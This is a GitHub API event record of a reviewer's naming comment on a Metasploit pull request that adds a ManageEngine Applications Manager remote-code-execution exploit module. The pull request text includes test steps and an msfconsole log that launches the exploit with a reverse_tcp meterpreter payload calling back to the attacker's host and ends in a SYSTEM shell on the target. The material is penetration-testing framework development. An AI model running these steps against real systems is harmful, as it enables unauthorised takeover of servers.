{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/174303584","pull_request_review_id":103635540,"id":174303584,"diff_hunk":"@@ -0,0 +1,98 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::Powershell\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => \"ManageEngine Applications Manager Remote Code Execution\",\n+      'Description'    => %q(\n+        This module exploits command injection vulnerability in the ManageEngine Application Manager product.","path":"modules/exploits/windows/http/manageengine_appmanager_exec.rb","position":16,"original_position":16,"commit_id":"889c914b3dbede621ad3b55572b908f22e79be62","original_commit_id":"889c914b3dbede621ad3b55572b908f22e79be62","user":{"login":"todb-r7","id":1170909,"avatar_url":"https://avatars2.githubusercontent.com/u/1170909?v=4","gravatar_id":"","url":"https://api.github.com/users/todb-r7","html_url":"https://github.com/todb-r7","followers_url":"https://api.github.com/users/todb-r7/followers","following_url":"https://api.github.com/users/todb-r7/following{/other_user}","gists_url":"https://api.github.com/users/todb-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/todb-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/todb-r7/subscriptions","organizations_url":"https://api.github.com/users/todb-r7/orgs","repos_url":"https://api.github.com/users/todb-r7/repos","events_url":"https://api.github.com/users/todb-r7/events{/privacy}","received_events_url":"https://api.github.com/users/todb-r7/received_events","type":"User","site_admin":false},"body":"Should be Applications Manager, not Application Manager (apparently)","created_at":"2018-03-13T22:21:12Z","updated_at":"2018-03-13T22:22:09Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9684#discussion_r174303584","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/174303584"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9684#discussion_r174303584"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684","id":173571800,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9684","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9684.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9684.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684","number":9684,"state":"open","locked":false,"title":"Adding ManageEngine Application Manager RCE","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"body":"This module exploits command injection vulnerability -0day as far as I know- in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user.\r\n\r\nA successful check of the exploit will look like this:\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/linux/http/securityonion_xplico_exec`\r\n- [ ] Set `RHOST`\r\n- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp`\r\n- [ ] Set `LHOST`\r\n- [ ] Run `check`\r\n- [ ] **Verify** that you are seeing `The target is vulnerable.` in console.\r\n- [ ] Run `exploit`\r\n- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console.\r\n- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to <TARGET>` in console.\r\n- [ ] **Verify** that you have your shell.\r\n\r\n## Scenarios\r\n\r\n```\r\nmsf5 > \r\nmsf5 > use exploit/windows/http/manageengine_appmanager_exec \r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192\r\nRHOST => 12.0.0.192\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1\r\nLHOST => 12.0.0.1\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > check\r\n[+] 12.0.0.192:9090 The target is vulnerable.\r\nmsf5 exploit(windows/http/manageengine_appmanager_exec) > run\r\n\r\n[*] Started reverse TCP handler on 12.0.0.1:4444 \r\n[*] Trigerring the vulnerability\r\n[*] Sending stage (179779 bytes) to 12.0.0.192\r\n\r\nmeterpreter > getuid\r\nServer username: NT AUTHORITY\\SYSTEM\r\n```\r\n\r\n**Technical Details and Module Demo**\r\n[https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/](https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/)","created_at":"2018-03-07T21:00:03Z","updated_at":"2018-03-13T22:22:09Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5282b563668d8246069c79d519b105bda4b55eef","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/889c914b3dbede621ad3b55572b908f22e79be62","head":{"label":"mmetince:manageengine_appmanager_0day","ref":"manageengine_appmanager_0day","sha":"889c914b3dbede621ad3b55572b908f22e79be62","user":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"repo":{"id":18488065,"name":"metasploit-framework","full_name":"mmetince/metasploit-framework","owner":{"login":"mmetince","id":4004716,"avatar_url":"https://avatars0.githubusercontent.com/u/4004716?v=4","gravatar_id":"","url":"https://api.github.com/users/mmetince","html_url":"https://github.com/mmetince","followers_url":"https://api.github.com/users/mmetince/followers","following_url":"https://api.github.com/users/mmetince/following{/other_user}","gists_url":"https://api.github.com/users/mmetince/gists{/gist_id}","starred_url":"https://api.github.com/users/mmetince/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mmetince/subscriptions","organizations_url":"https://api.github.com/users/mmetince/orgs","repos_url":"https://api.github.com/users/mmetince/repos","events_url":"https://api.github.com/users/mmetince/events{/privacy}","received_events_url":"https://api.github.com/users/mmetince/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/mmetince/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/mmetince/metasploit-framework","forks_url":"https://api.github.com/repos/mmetince/metasploit-framework/forks","keys_url":"https://api.github.com/repos/mmetince/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mmetince/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mmetince/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/mmetince/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/mmetince/metasploit-framework/events","assignees_url":"https://api.github.com/repos/mmetince/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/mmetince/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mmetince/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/mmetince/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/mmetince/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/mmetince/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/mmetince/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/mmetince/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/mmetince/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/mmetince/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/mmetince/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mmetince/metasploit-framework/merges","archive_url":"https://api.github.com/repos/mmetince/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mmetince/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/mmetince/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/mmetince/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/mmetince/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/mmetince/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mmetince/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/mmetince/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/mmetince/metasploit-framework/deployments","created_at":"2014-04-06T11:25:11Z","updated_at":"2017-11-09T05:25:06Z","pushed_at":"2018-03-13T19:17:18Z","git_url":"git://github.com/mmetince/metasploit-framework.git","ssh_url":"git@github.com:mmetince/metasploit-framework.git","clone_url":"https://github.com/mmetince/metasploit-framework.git","svn_url":"https://github.com/mmetince/metasploit-framework","homepage":"http://www.metasploit.com/","size":326186,"stargazers_count":3,"watchers_count":3,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":0,"open_issues":0,"watchers":3,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"15269ec3ce3d03852b7a39d13695651d8e279ec2","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-03-13T21:41:27Z","pushed_at":"2018-03-13T22:06:29Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":332804,"stargazers_count":11643,"watchers_count":11643,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6581,"mirror_url":null,"archived":false,"open_issues_count":502,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6581,"open_issues":502,"watchers":11643,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9684"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9684/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9684/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/889c914b3dbede621ad3b55572b908f22e79be62"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"todb-r7"}}